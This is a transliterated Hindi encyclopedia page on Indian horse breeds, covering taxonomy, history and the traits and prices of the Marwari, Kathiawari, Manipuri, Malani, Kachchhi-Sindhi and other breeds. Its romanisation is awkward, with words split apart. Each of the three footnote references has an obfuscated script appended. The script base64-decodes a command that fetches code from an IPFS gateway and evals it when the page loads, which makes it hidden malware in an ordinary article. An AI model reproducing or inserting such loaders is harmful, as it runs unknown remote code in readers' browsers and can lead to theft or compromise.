घोड़े की नस्ल
gho de ki nasl
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| jagat | jiv-jantu |
| sangh | k aaurdeta (Chordata) |
| varg | memeliya (Mammalia) |
| gan | artiodaktayala (Artiodactyla) |
| kul | eekyoodi (Equidae) |
| jati | eekvas (Equus) |
| prajati | ee. pheras (E. ferus) |
| dvipad nam | eekvas pheras (Equus ferus) |
| vishesh | vivahotsav aur dharmik jaloosoan mean saje-dhaje gho doan ko dekhakar utsah ka sanchar ho jata hai. guru govind sianh jayanti, maharana pratap jayanti aur ramanavami ke shubh avasar par susajjit ashv bharatiy janamanas mean prachin gaurav ko jagrit kar viratv ko utpann karate haian. |
| any janakari | hathi aur ooant ki bhaanti gho da bhi upayogi pashu hai. sanskrit mean ise 'ashv' aur aangrezi mean 'h aaurs' (Horse) kaha jata hai. gho da manushy se sanbandhit sansar ka sabase prachin palatoo stanaposhi prani hai, jisane ajnat kal se manushy ki kisi n kisi roop mean seva ki hai. |
bharat raja-maharajaoan ka desh raha hai. aj bhi desh ke kee hissoan mean raj gharane maujood haian. in raja-maharajaoan ke jamane mean am adami ke lie savari ki b di samasya thi, us samay rajagharane hi gho doan se chalate the. jaise-jaise treand badala vaise hi adatean aur taur tarike bhi badalate chale ge. jab desh mean ga diyoan ka prachalan badha to savari ki samasya bhi kam hoti chali gayi. jo rajagharane gho doan ka istemal karate the vo bhi ab ga diyoan se chalane lage the. lekin gho doan ke prati lagav kam nahian hua. behatar nasl vale gho doan ko phauj mean istemal kiya jane laga. jo log gho da palan karate haian, vah achchhi kamaee karate haian. gho da palan karane vale log inaka vanijyik istemal karane lage. yani behatarin nasl vale gho doan ko palakar unako ghudasavari ke shauqin, khel mean istemal karane ke lie bechate haian.[1]
prasiddh nasl
ghu dasavari ko ek antarashtriy khel ka darja prapt hai. bharat mean gho doan ka palan adhikatar rajasthan, panjab, gujarat aur manipur mean kiya jata hai. inaki kee naslean bharat mean payi jati haian, lekin marava di, kathiyava di gho de ko avval darja prapt hai.
- marava di gho de ka istemal rajaoan ke zamane mean yuddh ke lie kiya jata tha. isalie kaha jata hai ki in gho doan ke sharir mean rajagharane ka lahoo dau data hai. marava di nasl ke gho de rajasthan ke marava d mean pae jate haian. yahi inaka janmasthal bhi hai. inaki lambaee 130 se 140 se.mi. aur ooanchaee 152 se 160 se.mi. hoti hai. 22 se.mi. ke chau de phes vale ye gho de kaphi takatavar hote haian. inaka istemal jyadatar khel pratiyogitaoan, sena aur rajagharane karate haian. is nasl ke gho doan ki kimat bahut adhik hoti hai. ek gho da kee lakh ki qimat mean becha jata hai. yah bharat mean sabase avval darje ka gho da hai.
- kathiyava di gho de ki nasl bhi kaphi achchhi mani jati hai. is gho de ki janmasthali gujarat ka saurashtr ilaka hai. yah gujarat ke rajakot, amareli aur joonagadh jiloan mean paya jata hai. isaka rang gre aur gardan lambi hoti hai. yah gho da 147 se.mi. ooancha hota hai.
- spiti gho doan ko paha di ilakoan ke lie behatar mana jata hai. ye jyadatar himachal pradesh mean pae jate haian. inaki ooanchaee adhikatar 127 se.mi. hoti hai. is nasl ke gho de paha di ilakoan mean behatarin kam karate haian.
- zanaskari nasl ke gho de bharat ke leh mean pae jate haian. yah gho de leh aur laddakh jaise kshetroan mean bahut pae jate haian. in gho doan ka istemal adhikatar bojha dhone ke lie kiya jata hai. is nasl ke gho doan ki sankhya kaphi kam hai. inaki nasl ko badhane ke lie kaphi prayas kie ja rahe haian.
- manipuri poni gho de ki nasl ko kaphi achchha mana jata hai. is nasl ke gho de kaphi takatavar aur phurtile hote haian. is nasl ke gho doan ka istemal adhikatar yuddh aur khel ke lie kiya jata hai. yah gho da 14 alag-alag rangoan mean paya jata hai.
- bhootiya nasl ke gho de jyadatar sikkim aur darjiliang mean pae jate haian. isaka istemal mukhy roop se dau d aur saman dhone ke lie kiya jata hai. is nasl ke gho de jyadatar narth-eest mean milate haian.
- malani nasl ke gho de apani shreshth gunavata ke karan desh-videsh me pahachan bana chuke haian aur inaki kharid-pharokht ke lie log tilava da mele mean pahuanchate hai. polo evan resakors ke lie in gho doan ki maang lagatar badh rahi hai. dau date samay malani nasl ke gho de ke pichhale pair, apane pairoan ki tulana mean, adhik gatishil hone ke karan agale pairoan se takkar marate haian, jo isaki chal ki khas pahachan hai. inake ooanche kan apas mean takarane par inaka akarshan badh jata haian aur ye gho de kanoan ke donoan siroan se sikka tak pak d lete haian. chal v gati mean bemisal in gho doan ki sudaranta, ooancha kad, majaboot kad-kathi dekhate hi banati haian. inamean lal rang ka gho da sarvadhik akarshan ka kendr hota hai. malani nasl ki utpatti kathiyava di aur siandhi nasl ke gho doan se huee haian.[2]
- kachchhi-siandhi gho de ki nasl ko bharat mean gho doan ki satavian prajati ke roop mean pahachan mili hai. is nasl ko banni kshetr ke bailoan aur kharaee ke ooantoan ke bad rashtriy star par panjikrit kiya gaya hai. 'bharatiy krishi anusandhan parishad' (aeesiear) ne kachchhi-siandhi gho de ko satavian gho doan ki nasl ke roop mean panjikrit kiya hai. dilachasp bat yah hai ki kachchhi-siandhi nasl ke 3,136 gho de haian, jo hindoo aur muslim donoan samudayoan ke 1,850 malikoan ke pas haian. inaki bridiang ke lie ek sangh banaya gaya tha, jisaka nam 'ram rahim h aaurs bridars asosieshan' tha. yah nasl apane dhairy ke star ke lie pahachani jati hai. yah garm aur thande mausam mean jivit rah sakata hai. is gho de ki kimat 3 lakh se 14 lakh rupaye ke bich hoti hai aur yah gho da resars mean pasandida hai.[3]
in sab nasloan mean marava di, kathiyava di aur manipuri nasl ke gho de sabase behatar haian. isalie inaka vanijyik palan kiya ja raha hai. jisase ki gho da palakoan ko inaki ooanchi qimat milati hai. isake alava bharatiy gho doan ka niryat bhi kiya jata hai.
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tika tippani aur sandarbh
- ↑ is nasl ke gho doan ki kimat hoti haian lakhoan mean... (hiandi) hindi.krishijagran.com. abhigaman tithi: 10 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ malani nasl ke gho doan ka akarshan (hiandi) hindi.webdunia.com. abhigaman tithi: 10 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ kachchhi-siandhi gho de ki nasl ko mili pahachan (hiandi) navbharattimes.indiatimes.com. abhigaman tithi: 10 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
- REDIRECT saancha:jiv jantu
varnamala kramanusar lekh khoj
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